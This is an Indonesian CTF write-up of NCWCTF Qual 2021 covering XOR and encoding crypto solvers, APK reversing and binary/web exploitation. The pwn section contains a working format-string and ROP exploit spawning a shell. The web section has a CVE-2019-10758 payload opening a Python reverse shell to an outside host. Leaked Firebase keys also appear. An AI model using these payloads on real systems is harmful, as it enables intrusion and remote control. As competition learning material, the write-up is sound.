NCWCTF Qual 2021
Super Common (Cryptography)
Diberikan file output hasil xor sebuah paragraf dengan deretan bilangan random. Setiap kalimat dalam paragraf tersebut di XOR dengan deretan bilangan yang sama, sehingga jika dapat mengekstrak bilangannya dari salah satu kalimat, kita dapat mengenerate sisanya.
Flag didapat dari bruteforce posisi setiap keyword yang diketahui, berikut solver untuk bruteforcenya:
import binascii
import string
from Crypto.Util.number import *
output = open('output').read().split('\n')
cipher = [binascii.unhexlify(x.encode()) for x in output][:-1]
keyword = b'CSCTF{'
for now_c in cipher:
for start in range(len(now_c) - len(keyword)):
num = bytes([now_c[start+i] ^ keyword[i] for i in range(len(keyword))])
chunk = []
for c in cipher:
tmp = bytes([c[start+i] ^ num[i] for i in range(min(len(keyword), len(c) - start))])
stat = True
for x in tmp:
stat &= bytes([x]).decode() in string.printable
if (stat):
chunk.append(tmp)
print(chunk)
Ketika dimasukkan keyword = āCSCTF{ā, terdapat salah satu output
dari hasil tersebut, kita dapat menebak keyword "By itself" dan outputnya menjadi:
keyword baru yang dapat ditebak selanjutnya adalah "The XOR cipher"
begitu seterusnya dan ternyata paragraf tersebut diambil dari sumber https://en.wikipedia.org/wiki/XOR_cipher#Use_and_security
Ketika dimasukkan keyword : āIf the key is random and is at least as long as the messageā didapat output:
Totally Normal Encoding (Cryptography)
Enkripsi dilakukan perblok dan tidak ada batasan input. Jadi ya daripada pusing-pusing nyari pola, udah kita bruteforce saja āļø
bruteforce semua kemungkinan setiap 3 karakter (karena 1 blok cipher memuat 3 karakter plaintext):
for x in itertools.product(string.printable, repeat = 3):
x = b"".join([binascii.hexlify(str(i).encode()) for i in x])
print (x.decode())
Kemudian, kirim semua kemungkinan dan buat map hasil encodenya dengan wordlist yang sesuai.
from pwn import *
import string
import itertools
import binascii
import time
def chunks(lst, n):
"""Yield successive n-sized chunks from lst."""
for i in range(0, len(lst), n):
yield lst[i:i + n]
wl = open('wl').readlines()
wl_chunk = list(chunks(wl, len(wl)//3 + 1))
repl = []
conn = remote('165.22.101.113', 5000)
resp = conn.recvuntil('>>>')
cipher = resp.split(b'for the flag : ')[1].split(b'\n')[0]
print('Cipher : ', cipher)
final_wl = []
final_rep = []
for i in range(3):
w_join = ''.join([x for x in wl_chunk[i]]).replace('\n', '')
conn.sendline(w_join.encode())
repl = conn.recvline()[1:-1]
if (i < 2):
dumm = conn.recvuntil('>>>')
w_join_chunk = list(chunks(w_join, 6))
repl_chunk = list(chunks(repl, 4))
for i in range(len(repl_chunk)):
final_wl.append(w_join_chunk[i])
final_rep.append(repl_chunk[i])
Flag didapat dengan cara mencocokkan setiap huruf pada cipher dengan hasil map
cipher_chunk = list(chunks(cipher, 4))
flag = [''] * len(cipher_chunk)
for j, part in enumerate(cipher_chunk):
for i, x in enumerate(final_rep):
if part == x :
print(binascii.unhexlify(final_wl[i].encode()))
print ()
print ()
Ternyata setiap blok cipher dapat menghasilkan banyak kemungkinan karakter, terakhir tinggal ditebak-tebak aja flag yang memungkinkan apa.
XORtastic 6 (Cryptography)
Kami menggunakan xortool untuk melakukan bruteforce key file tersebut
import pwn
open('result', 'w+').write(
pwn.xor(open('encrypted').read(), "\x86`\x13C\xe8\x8c")
)
Didapat header PK dan [Content_Types].xml yang merupakan header dari file docx
Secret Manager (Reverse Engineering)
Decompile apk kemudian ambil data res/values/strings.xml
apktool d SecretManager.apk
[...SNIP...]
<string name="google_api_key">AIzaSyAwprB--djKT8Xk8TyGQRlXvVShDKEW0DY</string>
<string name="google_app_id">1:612626071234:android:a9bf998a527b789a3fc55b</string>
<string name="google_crash_reporting_api_key">AIzaSyAwprB--djKT8Xk8TyGQRlXvVShDKEW0DY</string>
<string name="google_storage_bucket">cscctf-220f3.appspot.com</string>
<string name="project_id">cscctf-220f3</string>
[...SNIP...]
Kemudian lanjut decompile dengan jadx untuk melihat flow dari apps tersebut
Didapat string key dan iv yang dapat digunakan untuk decrypt AES
Kemudian apps tersebut melakukan request ke firestore untuk fetch collection c dan document d, karena kita punya akses ke firestore nya, langsung saja kita gas
from Crypto.Cipher import AES
import pwn
key = b'iw2y4rs8z8po4523'
iv = b'4hhmv78hp4wcg7wh'
cipher = AES.new(key, AES.MODE_CBC, iv)
print(cipher.decrypt(
pwn.b64d('RYSFGR1DI5e3CtbH99OGxA1OovdYX348xe+oWU9soLLIFUYhYiIYbB7jQTk6Z+lB0xoSsFcQwewYKTLd9p5HMw==')
))
Flag Shop (Reverse Engineering)
Sama dengan challenge sebelumnya kami fetch terlebih dahulu file strings.xml
[...SNIP...]
<string name="google_api_key">AIzaSyCeFe0hvCpr7Gs2z8tg-ROkBc7HEYCfO0Q</string>
<string name="google_app_id">1:1092191869430:android:efeed249a1f974225b4fd7</string>
<string name="google_crash_reporting_api_key">AIzaSyCeFe0hvCpr7Gs2z8tg-ROkBc7HEYCfO0Q</string>
<string name="google_storage_bucket">cscctf---flag-shop.appspot.com</string>
<string name="project_id">cscctf---flag-shop</string>
[...SNIP...]
Sepertinya intended solutionnya memang harus dynamic analysis menggunakan frida, tapi kita malah langsung ngintip ke firestore nya xixixi
Patch the World (Reverse Engineering)
Dilakukan patch return dari _ptrace menjadi 1 agar bisa di debug
Didapat return dari calckey 0x7fffffff lohh kobisa seharusnya kan 19
Ternyata sebelum di return dilakukan casting dengan unsigned integer, yaudin tinggal direplace jadi 19
NB: Setelah mengoreksi ulang writeup secara seksama, ternyata bukan masalah casting juga tetapi operasi iā pada perulangan diatas, kami mengira sebelumnya operasi i++ dah lah hoki wkwk
Ez Blind (Binary Exploitation)
Hanya diberikan ip dan port, tanpa binary yang akan di exploit ?!?!!??š”
Dengan ilmu kanuragan anti guna guna, kami dengan sabar melakukan fuzzing pada beberapa menu yang disediakan pada service soal tersebut
- Add Name: Terdapat celah format string
- Write Note: Terdapat celah bof
from pwn import *
r = remote('165.22.101.113', 11101)
## https://libc.blukat.me/?q=__libc_freeres%3Aa60%2Csystem%3A410%2Cprintf%3Ae10
libc = ELF('libc.so', checksec=False)
def nuke(payload, suffix=False, free=True):
r.sendlineafter('> ', '1')
r.sendafter(': ', payload)
if suffix:
r.recvuntil('Name ')
datas = r.recvuntil(suffix, drop=True)
else:
datas = r.recvline().strip()
if free:
r.sendlineafter('> ', '2')
r.sendlineafter(': ', '0')
return datas
def dynleak(addr):
datas = nuke('%9$s#$$#{}'.format(p64(addr)), '#$$#')
if 'null' not in datas:
return datas + '\x00'
else:
return '\x00'
can = int(nuke('%11$p\n').split()[1:-2].pop(), 16)
## leak base addr
base_addr = int(nuke('%64$p\n').split()[1:-2].pop(), 16)
temp, logger = '', log.progress('Leak base_addr')
while True:
logger.status(hex(base_addr))
temp = nuke('%9$s....{}'.format(p64(base_addr)))
if 'ELF' in temp:
logger.success(hex(base_addr))
break
base_addr -= 8
d = DynELF(dynleak, base_addr)
dynamic_addr = d.dynamic
freeres_addr = d.lookup('__libc_freeres', 'libc')
system_addr = d.lookup('system', 'libc')
printf_addr = d.lookup('printf', 'libc')
libc.address = system_addr - libc.symbols['system']
pop_rdi = libc.address + 0x26b72
ret = libc.address + 0xc0533
sh = libc.search('/bin/sh').next()
r.sendlineafter('> ', '3')
r.sendlineafter(': ', ''.join([
'\x90' * 40,
p64(can),
'pwnitia!',
p64(ret),
p64(pop_rdi),
p64(sh),
p64(system_addr)
]))
r.interactive()
HIBPBP (Web Exploitation)
Didapat vuln function toBSON yang bisa digunakan untuk RCE (https://nvd.nist.gov/vuln/detail/CVE-2019-10758)
POST /users/register HTTP/1.1
Host: 165.22.101.113:50001
[...SNIP...]
------WebKitFormBoundaryvJedL3geG9GN0sKg
Content-Disposition: form-data; name="email"
huhu@a.com
------WebKitFormBoundaryvJedL3geG9GN0sKg
Content-Disposition: form-data; name="password"
huhu
------WebKitFormBoundaryvJedL3geG9GN0sKg
Content-Disposition: form-data; name="favCollection"
gmail
------WebKitFormBoundaryvJedL3geG9GN0sKg
Content-Disposition: form-data; name="proofOwnership"; filename="ngehe"
Content-Type: text/plain
this.constructor.constructor("return process")().mainModule.require("child_process").execSync("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"REDACTED\",2121));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'")
------WebKitFormBoundaryvJedL3geG9GN0sKg--